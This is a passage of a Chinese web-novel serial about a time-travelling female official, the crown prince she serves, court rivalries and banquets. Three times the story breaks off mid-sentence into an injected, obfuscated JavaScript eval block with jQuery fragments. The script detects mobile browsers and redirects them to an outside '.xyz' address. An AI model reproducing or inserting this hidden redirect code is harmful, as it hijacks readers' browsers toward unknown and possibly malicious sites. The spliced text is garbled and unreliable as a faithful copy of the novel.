谢家利用了太子的名声,好好地喧闹一阵,等谢言昭坐稳了位置,谢家很自觉,很快按下谢家女与太子联姻一事。自此以后,这条传言,迅速消失在街头巷尾,从此再无人提及。
谢家人退走,傅太后突然点了应子清的名。
应子清在旁边走神,一听傅太后叫她,吓了一跳,只得走到众人面前。
“你给哀家说说,如今东宫有哪些宫女女官,分别是什么模样性情,有什么擅长的。”傅太后看了眼刘之衍,就问她。
应子清不明所以,一一答了。
傅太后捻着佛珠,细细听着,期间一直拿余光看刘之衍。只见他脸色平平淡淡,喝茶的动作不疾不徐,不见一丝慌乱,像是不以为意。
傅太后听来听去,愣是挑不出一个和太子有猫腻的女子,秀气的眉心微蹙。
赵王妃在旁边听了许久,没闹明白傅太后这是打的什么哑谜,不由好奇:“太后这是怎么回事,怎么问起太子身边的人了,可是有什么问题?”
傅太后瞧着刘之衍,冷哼一声:“你问哀家,哀家还想问别人!”
在场的人,除了冷嬷嬷,皆是满头雾水,拿眼睛去看刘之衍,他还是不动声色。
竟是莫名其妙的一次问话。
又坐了会,刘之衍的嘴比蚌壳还硬,傅太后左右撬不开一丝缝,心生嫌弃,将他挥退,叫他回去休息。
应子清和刘之衍一起出来,她按住还在猛跳的心口:“好像突然被老师点名一样,吓我一跳。好端端的,太后为什么要找我问这些,难道出什么事了?”
刘之衍安慰:“没事。”
应子清无语:“你是不是知道她在干什么?”
“是。”刘之衍承认。
“但你不能告诉我?”应子清看他。
“不能。”刘之衍神色自若,不打算多说。
应子清见问不出来,所幸又没事,干脆丢开不管。
应子清身上是有职责的,回去了她和别人一起收拾屋子,泼水擦地,贴窗花的贴窗花,挂桃符的挂桃符,把沐云居搞得热热闹闹。
桃符是一块桃木做的,空白之处的字,是刘之衍蘸了朱砂写的。他的字铁画银钩,笔锋有力,字有风骨,俊逸大气。
应子清捧着桃符欣赏:“写得真好。”
刘之衍却摇头:“不值得什么,你若是见过谢言昭与窦知微的字,方知什么是好。”
大晋朝流行书法,连傅太后这样久居深宫的妇人,也写得一手好字。她抄写的经书,是要送往大佛寺裱起来,供人参观的。一手娟秀清雅的行书,叫人看了自叹弗如。
皇家人人写一手妙字,眼界自然极高。
能被刘之衍夸奖,不知道这二人的毛笔字,到底有多漂亮。
晚上点了灯,要开饭了。
刘驰骞和谢凝荷冒雪而来,在门口,两人把避雪的大氅一扔,簌簌落下不少雪粒。
“吃什么好东西,不叫我们!远远闻到味了!”刘驰骞朝里面大喊。
一张红漆长桌案,摆得满满当当,还有一尾极大的鲜鱼,刚从冰河捞的,厨房用雪梨片雕成花样子,在鱼身下盛开,仿若白浪朵朵。
来了客人,香巧语兰各自捧着鎏金碗,雕银筷,放在桌上。
谢凝荷一整天强打精神,熬到此时已经疲倦不堪,对着旁人拍桌子:“我吃的什么都觉得没味道,我要喝酒!太子哥哥,你怎么不理我?赶紧把你的好酒拿出来!”
刘之衍充耳不闻,自顾自饮茶。
应子清知道她是失恋,都不知道这些天是怎么熬过来的。她微微叹气,亲自去捧了松醪酒:“少喝点。”
刘驰骞眼巴巴递来他的酒杯:“什么好酒,姐姐也让我尝尝。”
应子清微愣,方知他也是个馋猫,笑了,拿着酒壶,就要给刘驰去满上。
“自己喝自己倒。”刘之衍一个眼神横过来。
刘驰
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14841018|152826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
骞默默收回酒杯,不敢劳动应子清,只得自己去拿酒壶。
刘驰骞不知是渴了还是饿,连喝好几杯,脸热耳红之际,他故作无意,嘟囔道:“我还以为,谢凝荷会嫁给太子哥哥……”
一时间,筷箸碰撞之声稍停。
谢凝荷此时最烦别人提她的婚事:“关你什么事,你闭嘴。”
“刘弘煦得高兴死吧。”刘驰骞眼眸很沉,看着她,偏偏不住口,非要往枪口上撞。
说别人尚可,刘弘煦是她的死穴。谢凝荷脸色渐渐沉了,一行眼泪说掉就掉。她丝毫不惧自己的狼狈,就这么淌着眼泪,直直看着刘驰骞:“他高不高兴,都与我无关!怎么?看我的笑话,你也很高兴吧!”
“你们吵架了?”刘驰骞拿杯子的手顿住。
谢凝荷哼了声,没有回答,她把杯子丢开,直接抱着酒壶喝。
应子清对眼前的状况,一头雾水,不知道这两人怎么吵起来了,她低声问刘之衍:“怎么回事。”
刘之衍平平淡淡:“吵架。”
“我知道她们吵架了,”应子清说,“为什么?”
刘之衍拿了碟花折鹅糕,送到应子清面前:“你尝尝。”
应子清还等着他的回答,乖乖照做:“好了,我吃了,你说吧。”
“不知道。”刘之衍见她喜欢,又拿过一金碟奶酪樱桃,“你再试试这个,这个也很可爱。”
应子清:“……”
他还惦记之前应子清说的“可爱”糕点!
两个客人,喝了一晚上的酒,应子清过去劝。
谢凝荷喝得大醉,抱住应子清的腰身,在她身上胡乱蹭:“子清姐姐,你香香的,我很喜欢。”
刘之衍:“……”
“上次没留住你,今晚你跟我一起住罢。”谢凝荷脸颊通红,口齿不清。
应子清心下一软,摸摸她柔软的发丝。
“不行。”刘之衍出声,替应子清拒绝。
谢凝荷睁着朦胧醉眼,好容易看清楚是谁在说话,冷笑一声:“你个太子哥哥,真是烦人,缠得这么紧做什么。子清姐姐,你可别信他,男人没一个好东西。”
刘之衍:“……别胡说。”
“我从来不胡说,”谢凝荷连连嗤笑,反驳说,“改明儿,等你娶了太子妃,到时候欺负子清姐姐。”
应子清默不作声,刘之衍脸色微沉。
谢凝荷微微气喘,失魂落魄道:“就算眼下对你好,又如何?什么都说不准的。”
“我为什么喜欢刘弘煦,当年,刘弘煦也对我很好。”谢凝荷借着酒,胆子大起来,竟把藏在心底多年的往事,缓缓道出,“记得有一年,突然下了雨,院子泥泞。我躲在檐下,要走也不是,要留也不是。”
“刘弘煦来找言昭哥哥,看到了,他说我的绣鞋纤尘不染,不该沾泥。便把他的孔雀翎毛做的大氅解开,铺在地上,让我踩过去。”谢凝荷微热的脸,贴着应子清的腰,呢喃道,“那时候,刘弘煦特别疼我,连雨也舍不得让我淋。”
估计那是他们最好的时候,谢凝荷眨着眼睛,神色仿佛陷入回忆。
“可是不知道为什么,有一天,刘弘煦的脸色很难看,他来找我,和我对面坐着,却一句话不说。从此以后,他就不理我了,看到我,总要避开。”谢凝荷轻轻闭眼,滚下眼泪。
应子清眼神微暗,抱着谢凝荷的手指渐渐发凉,但不是因为伤春悲秋。
她揣测,大概是那天,刘弘煦知道安景王有夺位之心!
觊觎非望,成则为王,败则为虏,那是祸及身家的事!
刘弘煦作为安景王世子,岂有袖手旁观之理,自从安景王生了问鼎之心,他也一起卷入这场暗潮。
于是,刘弘煦对谢凝荷避而远之。
应子清心中默默,只能说幸好,刘弘煦没有趁机求娶谢凝荷。
若是安景王与谢家结成亲家,刘之衍面临的危险等级,可不止高一点!
至于刘弘煦为什么没有这么做,应子清无暇去想,她感觉抱歉,谢凝荷这么难过,她却觉得庆幸。
45. 第 45 章
“刘弘煦曾经……真的很好,好到让我想喜欢他一辈子。可他忽然冷下来,仿佛之前的一切,都是假的。”
谢凝荷滚着热热的泪,说了好些醉话,她抱着应子清,眼泪鼻涕全擦在她衣裙上。
夜深人静,到了该休息的时刻,宫女太监轻手轻脚收拾桌椅,小心吹熄角落里的灯。
刘之衍负手在一旁立着,盯着她们瞧,不肯离开。
谢凝荷见他执意带走应子清,心中气恼:“我这么难受,想叫个人陪着我。我借一晚子清姐姐,怎么了?你没有她就睡不着吗?”
刘之衍坦然:“是。”
谢凝荷气得一噎:“……”
“……不要乱说话!”应子清头疼,可是耳朵不自觉地发热。
刘驰骞立在一旁,刘之衍转头看他。
刘驰骞冲他点头:“你们走吧,我守着她。”
“凭什么!你说了不算。”谢凝荷不服气。
刘驰骞走过去,捉住谢凝荷的胳膊,将她从应子清身上扒下来。
谢凝荷自然不肯,就要挣扎,两人你来我往,别扭撕扯,差点打闹起来。
应子清正想开解:“要不然,今晚我留下来陪着她……”
应子清的手腕被刘之衍握住,那男人用了点力,拽着她离开这里。
“干什么?”应子清着急回头。
只见那边,刘驰骞低声道:“你若是不听,你信不信,我把你抱回房间。”
谢凝荷诧异抬眼,可惜她醉得很了,迷迷蒙蒙,她看不清刘驰骞眼底的郁色。
应子清闻言,也十分惊讶。
她还想看个分明,但被刘之衍拉着,出了门,雕花漆门将视线一阻,什么都看不到了。
大红灯笼亮着耀目火光,檐外的白雪纷纷扬扬,假山影影憧憧,温泉水汽缭绕。
刘之衍霸道地把她往回带,英气的眉眼微冷,什么都不说。
应子清望着他月白袍衫,高高的个子,不明白他怎么突然生气。
关上房门,刘之衍放开了她。
“你想休息了?”应子清揉了揉手腕,她皮肤素白,又薄,被他这么一顿拖回来,留下红红的印子。
刘之衍“嗯”了声,盯着她的手腕,仍然面无表情。
应子清只得上前,帮他解开复杂的外衣和腰带,直到露出里面纯白的亵衣。
自从刘之衍行了冠礼,他戴的玉冠,变了样子。不似以往简洁的一根玉钗,现在用的玉冠更复杂,也更好看。应子清替他拆掉温润的莲瓣纹玉冠,散开乌黑漂亮的长发,束成简单的发辫。
刘之衍坐在镜前,把玩一枚嵌了宝石的匕首:“过完元日,该回长安了,那里不比这里,没有温泉。若是喜欢,你今夜可以去泡一泡,以后再想来,不大容易。”
刘之衍说的是,沐云居那口自带药浴的温泉。
上次应子清自行泡温泉,撞上突然回来的刘之衍,她心中尴尬,以后都和香巧语兰她们一起,去宫人专用的汤泉。
宫人专用的汤泉,建在一处偏僻的山间,搭了简单的围栏与房檐,勘勘遮蔽风雪,池子又小又拥挤。
不过,大家是女孩子,系着浴巾泡温泉的时候,凑在一起说说笑笑,吃些糕点喝着果酒,有度假的感觉。比独自一人,好玩得多。
刘之衍说得不错,泡一次少一次,应子清心里珍惜,点头道:“好吧。”
见她乖乖听话,刘之衍一路上冰封的脸色,稍稍融化。5
炭火融融,刘之衍坐着织金褥子,拿着一根长箸拨弄火盆。
薄薄缎面屏风,映着月色般朦胧皎洁的身影。
听着水流轻响,刘之衍一直盯着那道纤细的影子,心跳缓慢而镇定地跳动。
应子清心中烦闷,泡澡泡得并不安宁。她还以为,刘之衍叫她自己在这里沐浴,谁知道他就在外面!她想,古人的标准怎么时而古板,时而生猛,这符合刘之衍君子本性吗?
所幸,刘之衍坐在外间,有一搭没一搭地和她聊天,像是无聊,才呆在这里似的,并没有其他意思。
“我好像知道刘弘煦为什么会突然改变……”
“不是所有男人都是凉薄的……”
两人同时开口,听到对方的话,又同时沉默。
“你说。”刘之衍先让一步。
“我好像知道刘弘煦为什么会突然改变。”应子清瞥一眼屏风上高挑颀长的人影,“可能是,因为安景王。”
“嗯。”刘之衍听着她清凌凌的声音,心不在焉。
应子清也听出他兴趣缺缺,不过她想,既然她决心改变任务人选,有些话,最好通通气。
应子清沉了沉气,终于道出:“安景王有异心。”
虽说没什么,这么隔着轻薄的屏风说话,到底暧昧。
应子清手上的动作利落,迅速将自己洗干净了,从温泉中走出。
湿热水汽弥漫,温泉池中,一双修长白净的小腿,将瑰色花瓣打散。
转眼间,应子清擦干了身,穿上亵衣,再在外面罩一层青色纱衣,穿得严严实实,才肯走出去。
坐在织金褥子上,应子清将一头墨色湿濡的长发,垂在肩膀一侧,就着热烘烘的炭火烘烤。
刘之衍却朝她靠近,拿着一方锦缎,要帮她拧一拧水滴。
应子清没拒绝,半对着他坐着,细细思索道:“安景王有野心,但他不是一开始就有计划。”
想到那日松云雅集,神秘人与安景王的对话,应子清继续道:“我曾经撞见安景王与一神秘人,处处贬低你,那神秘人必定是他的同伙。但这个神秘人,让我觉得奇怪。因为除了你,就属安景王,具备登位的资格。这个神秘人,为什么要这么做?”
投靠太子,难道不比投靠安景王,更容易吗?
为什么要舍近求远?
难道那个幕后之人,也跟她一样,未卜先知?
知道大晋朝在刘之衍的手中,会走向覆灭?
也不是没有这个可能,毕竟连穿越这件事都会发生,她不得不相信,怪力乱神的存在。
但,应子清之所以转变投靠者,是她看到刘之衍正在日渐变好,她相信她能辅佐刘之衍,阻止灾难的发生。
可是,如果她阻止不了呢?
安景王或许就是那个天命之人呢?
应子清越想越乱。
刘之衍似是看出她的迷惘,解释道:“没那么复杂,利益驱使。”
“嗯?你说什么?”应子清回头,与他对视。
刘之衍看着她那双清亮剔透的眼眸,映着自己的影子,心中一动。他仓促转开眼,语气有些烦躁:“你怎么知道那么多。”
被他一问,应子清闪烁着眼睛,心虚道:“我不能告诉你,为什么我知道这些东西。”
刘之衍没有追问下去,两人重归沉默。
应子清为何会知道安景王的秘密?这其中的蛛丝马迹,刘之衍早就一清二楚。他一直派着影卫在暗中跟踪着她,所有的举动,他都了如指掌。
他早知道应子清会弃暗投明,重新选择他,若无这个自信,他也不必当这个太子。
谋士另投他主,实乃屡见不鲜之事。作为谋士的灵清子,只会投靠明主,否则他该怀疑灵清子的眼光。
至于,应子清说的那个神秘人,他也知道是谁,是窦皇后的人。
窦家到底在打什么主意,刘之衍隐约猜到,只是没有证据确认。
鼻息间,传来温软甜美的香气,是应子清身上的。
少女微微侧坐,眨着长睫凝思,不施脂粉的嘴唇殷红,说话时轻抿着,感觉很软。
两人离得太近,他能轻而易举地看到,在应子清青色纱衣与亵衣之间,露出的一块柔软肌肤。
刘之衍视线,顺着往下滑,落在她的素白纤小的锁骨上。再往里一点,亵衣遮挡得很好,其实什么都看不到。可他就是忍不住,想象着温软起伏的线条……
他放纵着自己的目光,丝毫不知收敛。
举止克
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14850388|152826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
己守礼,进退有度,是常年教养所致,真实的刘之衍,根本不是正人君子。要不然,也不会有种种流言,说他如何的暴戾。
应子清亲口说过,她不喜欢他,还想跑去当女户。
但这也说明,她没有心仪的男人,是以,他听了并不灰心。
大抵女子,不论长于钟鸣鼎食之家,还是寻常巷陌,都希望风风光光,名正言顺地成为妻子。刘之衍并不希望,以一种不尊重应子清的方式,开始这段感情。
刘之衍想要的,从来不是出于局势考虑,那种安排好的妻子。他只想要他看上的人,与那女子,自然流淌的情感——没有强迫,没有权衡,只有两颗心自然而然的靠近。
诸如此类的种种念头,像条条铁链,束缚着他。
但刘之衍却又深知,这些铁链摇摇欲坠,根本锁不住他。
诱人的软香,正在一点点,侵蚀他的意志力。
这些天,刘之衍一直做着类似的梦。梦中,他跨过缎面屏风,进入湿热的温泉池,将羞涩到极致的应子清,揽入怀中亲吻。这种梦恼人又缠人。所以,他比以往更早地起床,在刮着刺骨寒风与大雪的院中习武,就是怕男人晨起抬头的异样,被应子清发现。
他以为自己是从未见过,多看几次便好。然而再次看见,闻着空气中潮湿温柔的香味,他的心情更加难耐。
只是,他向来有什么想法,从脸上是看不出来的。
应子清无意瞥见,刘之衍盯着她的眼神里,藏着极为幽暗的危险之意。
她下意识紧张:“怎、怎么了?”
刘之衍和她对视片刻,有些烦闷,最终起身离开:“无事,早些休息。”
骊山的地气暖和,被雪压了一个冬季的松枝枯树,早早抽出嫩芽。
料峭寒风瑟瑟,鸟儿破壳孵化,鸣啭啁啾被风送向四面八方。
某日,天光熹微。
皇家的马车,在骊山漫长的车道上,整装待发,滚滚驶向长安。
刘之衍策马扬鞭,依旧在天子鸾驾附近护送。
这一次,刘之衍身边,多了身披玄色披风、黑底银纹盔甲的东宫亲卫。这些东宫亲卫,整齐划一,面色肃然,与太子殿下保持一个安全的距离,紧密相随。
程氏三兄弟,还有好些应子清不认识的新面孔,策马在畔。
她整日与刘之衍形影不离,仍然不清楚,他在什么时候选拔出千人精兵!
刘之衍在极短的时间内,组建好精兵亲卫,待得这些筹备完善,他也大大方方地亮出来。不亮出来不行,作为东宫,他的一举一动,须得接受天子与朝臣的考校。
撩下马车车帘,应子清心中发沉。
车厢里,香巧与语兰依依不舍:“真不知道下回什么时候再来?”
“明年冬天就来。”香巧自信道。
“你听谁说的?”语兰纳闷反问。
“我说的呀!不是说了吗?温泉对圣人身体有好处,可不得再来?”香巧摇摇指头。
语兰撇开脸,不信:“怎么可能,年年这么跑,我都受不了,皇上的龙体怎么受得了?”
“没准啊!”香巧似是听出什么,“怎么,听你的语气,你是不是不喜欢这里?”
“还行吧,我更想回去。”语兰神色淡淡,心不在焉,眼巴巴的,盯着车帘外瞧着。
香巧没察觉出来,还在不依不饶:“在这里多开心,我说你不认得好东西呢……”
长安城中,城门早早大开,城门校尉领着守卫,手持长枪,在城墙下整齐列队。
远方地平线,尘土飞扬。
銮铃阵阵,旗帜招展,天子鸾驾浩浩荡荡,风尘仆仆地驶入长安城。尾随其后的漫长马车,蒙着厚厚尘土,缓慢进入城门。
东宫一行队伍,在一个路口,与天子鸾驾分开,转向另一个方向。
刘之衍不跟着去碧梧宫,而是准备回他的东宫。
与其他人一同下了马车,再次回到这个地方,应子清竟有物是人非之感。
46. 第 46 章
曦光落在窗帷上,春风把朱红纱帘,吹得高高扬起。一只雀燕在廊中跳跃,察觉有人来,将翅膀一振,飞向空中。
廊中的拐角,几幅鲜丽的裙裾,从中走出。
香巧好奇:“听说马厩来了好些良驹,还有一匹纯白的,殿下还没给取名字。听马童整日抱怨,说怕弄脏了它的皮毛,只能单独让它住一间马棚。还不止,马童每天要给它刷刷毛,可难伺候了。”
语兰挽起耳边的碎发,不以为然:“说是殿下为击鞠作准备,特意选了一批良驹。”
“打马毬啊,听着就叫人害怕。”香巧按着心口,唏嘘道,“从马上滚下来,可了不得。我听说,那些个世家,每年到春天,喜欢在近郊组织一场。有一年,崔家的一个公子,就从马上滚下来,球场那么多马,全乱起来,把崔公子踩了。现在他还躺在榻上,说是残废了。”
“出息!”语兰笑话她,“那些小姐也打马毬呢,你怕是上了马,腿也哆嗦。”
“难道你就不怕!我好歹骑过小马驹,你连马也没摸过,”香巧跟着笑,轻轻拧了她一下,想起一件事,“可说呢,窦家年年在曲江办裙幄宴,皇后年年都去。今年窦家好大的颜面,把圣上请动了。”
语兰点头:“圣上是身体不好,不然,他是最爱热闹富贵的。因为他想看打马毬,太子才整日训练。你没听说吗?许多舞曲就是圣上写的,教坊天天备着最时兴的乐舞,就怕他哪天想热闹了。”
香巧说:“原来听说,圣上喜欢看斗鸡,宫里专门修了斗鸡场。底下的官员们想升官,四处搜罗进献,一只斗鸡,价值千金呢!太后修了佛,不喜欢血淋淋的场景,圣上才作罢。”
语兰推开门,发现应子清换下宫装,换了身寻常的雪青衣,色淡如烟,放人群里不大起眼,细细看去,又觉得清丽大方。
“子清姐姐要出去?”香巧问道。
应子清把纱衣一披,回头道:“圣上在曲江游乐,临时唤太子过去。想跟着去的,赶紧换好衣服,马上走了。”
裙幄宴,贵女们最喜欢参加。
一来这个时候,天气明朗,花朵初放,是这些名门闺秀,一年之中难得出门游玩的好时机。二来,宴会上贵女们,会戴些名花,名曰斗花。
年轻人没有不爱玩的,尤其是女孩们天天憋在宫里,早闷坏了。
一听,香巧高兴起来,连忙跑去换衣服。
语兰呆了一呆,便问:“有哪些人去?”
“这可说不清楚。”应子清想了想,“听说那些王爷王妃,重要的大臣,都喜欢携家眷去看看热闹。”
语兰重新把脂粉盒打开,细细涂上胭脂。手脚利落地施了妆,语兰对着镜子,抚了抚鬓边,空落落的发髻,没有簪花。镜子里的少女,眼神略略失望。
花影重重,鲜艳夺目。
窦家用花团簇锦的锦缎作帷帐,拉出一段锦绣明艳的私密空间,赤红灿烂,金似流光,满目富丽堂皇。
刘之衍刚从训练营下来,换了身玄色常服,但刚从纵马骑射的凶悍之气还在。他踩着乌皮靴,一脸淡然,从那些穿红着绿的闺秀公子之中,穿行而过。
庆帝把刘之衍招来,也是临时起意。
是听别人说,今天来了不少名门闺秀,把人看花了眼,又见这么多年轻公子在这里饮酒作乐。太子性情孤僻,既然近期有所改善,他把人叫出来,与年纪相仿的公子闺秀们,多接触接触,比较好。
旁边有乐者奏乐,场中铺了张手工毡毯,有杂技艺人戴上张牙舞爪的面具,表演跳剑。七把锋利短剑,相继连掷空中,杂役艺人一一接过。看着轻巧,其实凶险。刀锋凌厉,若有一丝错乱,轻则受伤重则殒命。
桌案抬了上来,刘之衍与皇帝皇后见了礼,便自行坐下。
应子清与一众宫女太监,离得不远不近。
刘之衍微微侧首,叫应子清过来,给他盛酒。
东宫的人,早习惯刘之衍的脾性,听了没反应。
只有应子清独自上前,坐在刘之衍身边,拿起酒瓶,帮他倒酒。只是她面上温顺垂目,口中用两人听得到的声音抱怨:“你就不能让我好好呆着吗?”
刘之衍嘴角微扬,端起酒杯:“你要不要尝尝?”
“不要。”应子清瞪了他一眼。
对面席位,一位看着贵不可言的少女,身穿金缕织锦,发髻上簪了朵张扬耀目的芍药。皇后在此,国色牡丹只有她能戴,其余人,只能簪次一等的花。这位少女簪的芍药,花朵硕大,花色正,色泽妍丽,乃上上品。
刘之衍与身边的宫女,一举一动,正被她细心注视着。
贵女缓缓放下手中酒杯,锐利凤目,落在应子清身上:“太子殿下,您身边的人是谁?怎么没见过?”
刘之衍眼睛也不曾抬起,也不回答她。
应子清有些愣,偏偏刘之衍不言不语,她只好按照礼仪规矩,向对方自报身份:“东宫应司直,见过小姐。”
那贵女眉梢微微挑起,朱红唇色轻喃:“女官?”
随后,贵女冷哼一声,下巴微抬,撇开脸。
那眉梢眼角流露的矜贵傲慢,与窦皇后如出一辙。不用旁人介绍,应子清也猜出,这一位必定是窦家的小姐。她不禁感觉头疼。
刘之衍不常饮酒,他陪着庆帝喝了两口,搁下酒杯,应子清给他换上清茶。
窦兰芷注意到了:“殿下,我这里有新酿的宜春酒,送你品一品,可好?”
身旁的侍女应声而起,端着玉壶,朝应子清走去,送到她手里。
应子清接过,以眼询问刘之衍,要不要喝?
刘之衍说:“你想喝自己喝。”
窦兰芷脸色明显难看,酒杯在桌案上,磕出声音:“我是送给殿下的。”
刘之衍仍然不予理会,应子清只能放下玉壶,继续给刘之衍倒茶。
应子清默默坐着,扛不住窦兰芷频频刺来钢针一样的眼神,她找了个借口,出去透透气。
刘之衍想跟她一起,庆帝忽然叫住他,和他聊起近期的政务。
应子清从华贵的帷帐转出来,沿着曲江河畔,漫无目的地散步。
附近有窦家的主仆,迎送往来,快马轻蹄。应子清从皇宫到温泉别宫,见识算不错,窦家的用度,规模不如皇家的阵仗大,但贵不可言。怪不得,能养出窦皇后
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14859265|152826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
那样的傲慢矜贵姿态。
阳光烂漫,草叶鲜嫩,冰雪初融的曲江,流水潺潺。
春天的空气很新鲜,不过江风阵阵,应子清被吹得手指微凉。
一身青袍,忽然挡在她的面前,应子清抬头,看见少年白净俊美的聪明脸。
“听见圣人召见太子,我猜你会来,但我没带糕点还给你。”窦知微递来一支含苞待放的海棠,“我看你不像喜欢簪花的人,不过鲜花总是配美人,送你。”
应子清笑了,接在手上:“谢谢。”
窦知微平常不爱笑,据说怕别人觉得他“可怜”。应子清却觉得,他是太可爱。他那双小狗眼,实在讨人喜欢,就算绷着不笑,也让人心生好感。
“你别高兴,我不是夸你长得漂亮,这是我顺手摘的。”窦知微坦白。
可爱脸变可恶,应子清:“……”
窦知微一瞬不瞬看着她,以为这番话会让她动怒。结果应子清朝他翻了个白眼,甚至没有丢弃手中的海棠。
“你脾气真好。”窦知微忽然说。
印象里的窦家女子,哪一个不是趾高气扬,盛气凌人。稍有不慎,便是一顿冷眼相待,讥笑讽刺。
“这也值得生气?”应子清不解,想到他的境遇,又似乎能理解。
芳草萋萋,窦知微与她在河畔,并肩而行:“刚才那一位,是窦氏族长窦展的女儿,叫窦兰芷,已经许了人家。”
“许了吗?”应子清吃惊,那她刚才对刘之衍的一番做派……
“窦兰芷从小倾慕太子,但她知道,她没指望的。”窦知微余光观察她的神色。
“窦家这么秘密的私事,你也告诉我?”应子清问。
“她自己都不加掩饰,告诉你又何妨。”窦知微坦然。
“你就是来告诉我这些?”应子清看他。
窦知微对上她的眼睛:“你不就是因为这个才跑出来?”
应子清微微一怔,当即道:“我没有!”
窦知微打量着不悦的少女,若有所思。
窦知微好像只是送支海棠,告诉她一番话,回应应子清送糕点的好意,然后离开了。
应子清转动着手中的花,回忆着她与窦知微短短三次见面。
每次都让她感觉,此人异常敏锐。
窦知微看似不动声色,可每次开口,都是关键,没有废话。比如,他明明在安景王王府门口见过她,第二次见面,却点出她是东宫的人。
不知道是说她的身份,还是心中所向?
然而,这份犀利,已经叫她心惊。
应子清低头思索,这一次,她冷不防撞进一个宽敞坚韧的胸膛。
薛沛南像是很高兴:“许久未见,应司直见到我如此热情,投怀送抱?”
啊,应子清按住额头。头几次见面,她对宰相之子的印象还不错,但是接触一段时间,她发现,此人很像斯文败类,招蜂引蝶的那一种。
应子清不想跟他周旋,直截了当:“我还有事,公子自便。”
薛沛南并不气恼,仍是慢条斯理:“哦?看来宰相与大理寺联手查太子中毒一案,你不想知道结果了。”
47. 第 47 章
应子清才不相信,这么机密的案子,他会随随便便透露。
但她想了想,没有掉头就走:“如果出了结果,朝中自然会宣布,不过晚几天知道而已,也没什么。”
话里话外,说薛沛南掌握的消息,没那么重要。
薛沛南见她懵懂不知,微微笑起来:“早几天和晚几天的区别,可大了!比方说,下毒的凶手,如果早几天知道,是不是就会打扫现场,隐藏关键性的证据?”
应子清微微怔忡,盯着他看。
薛沛南笑得从容不迫:“又或者,太子如果早几天知道,就能多掌握一些证据,重新给凶手,定个更合适的罪名,你想想,是不是区别很大?”
应子清没有说话,薛沛南说的话,非常奇怪。
他的意思是,他可以提前透露给太子,也可以透露给凶手。
这就是说,薛沛南认识凶手!
如果下毒的凶手,只是个人行动,大理寺查到了,直接抓起来定罪就好。
但是大理寺,没有这么做!
而且还有一层意思,这桩案子,连薛沛南都知道结果了,大理寺至今迟迟没有公布。
为什么?
因为,单单把凶手抓起来,还远远不够?
还是因为,大理寺不敢往下查?
应子清越想越觉得惴惴不安,心中七上八下。
薛沛南见她呆呆的样子,十分可爱,接过她手中的海棠,摘下开得最好的那朵,细心地别在她的鬓边:“我见那些贵女,簪朵名花,便以为自己有了名花的娇艳美丽。殊不知,最令人魂牵梦绕的,还是路边自然生长的海棠,生于荒野,长于僻壤,未经雕琢,却如此动人可爱。”
薛沛南长得很好,一句话说得柔情蜜意。他以前对别的女子如此,那些女子常常会闪烁着眼睛,低头娇羞。偏偏应子清无动于衷,一双清冷漂亮的眼眸,直直望着他。
薛沛南心中,不由更喜欢了:“我刚才说的,你可以回去与太子殿下聊聊,想好了再来找我。速度可要快!否则哪天,我心思又变了,转而想告诉凶手了,也说不定。”
到底是堂堂宰相之子,自矜身份,薛沛南虽然举止略显冒犯,然而点到为止,撩人但不缠人。
说完后,薛沛南冲她笑笑,负手而去。
曲江沿岸,一排杨柳,千万条茂密繁盛柳条,顺着风,轻轻摇曳。
一道绿袍袍角,悄然隐向密密柳枝之后。
窦知微尚未走远,便看见薛沛南朝应子清走去。
因为离得远,他没听见两人在聊什么。
但他心中奇怪,一个东宫女官,一个宰相之子,这两人为什么会认识?缘何有话可聊?只见薛沛南满脸春风,翩然而去,应子清却神色凝重。
带着思索的神情,窦知微回到靡丽华美的裙幄宴上。
窦家人坐的位置极好,这里有斑驳的树影,遮去刺目的阳光,又能欣赏映着日头的曲江,潺潺流淌,熠熠闪光。江风扑面,春风徐徐,心情也变得松快。
作为族长的窦展,位置在前排,他饮用着新酿的宜春酒,满脸惬意。
窦知微的座位在最末,他只能从后方朝前排走去,窦展看到他,点下头,叫人取张坐褥给他。
骤然换了座位,窦家其他公子看了,心生不满。
“不知道又找族长干什么。”
“难得有机会凑到前面去,是你,你不要?”
“讨人厌的人,走到哪里都讨人厌,又不是坐在前面,就变得讨人喜欢了。”
“人家如今是起居郎!伴驾呢。”
“呵呵,六品而已,在寒门也就罢了,是要敲锣打鼓的。放在咱们家,诸位父兄,谁不是盯着一品大官、三公九卿去的。六品……笑死人了,谁稀罕这个?”
“伴驾,太监还伴驾呢?你愿意当吗?”
“哈哈哈,确实跟太监没区别,都是在天子身边随侍,只不过不做那腌臜事罢了。”
“他敢?顶着窦家的姓氏,倘若他敢做小伏低,丢的是我们窦家的脸面。”
“若他真做了什么丢人现眼的事,随便打杀了!我看谁能说什么?”
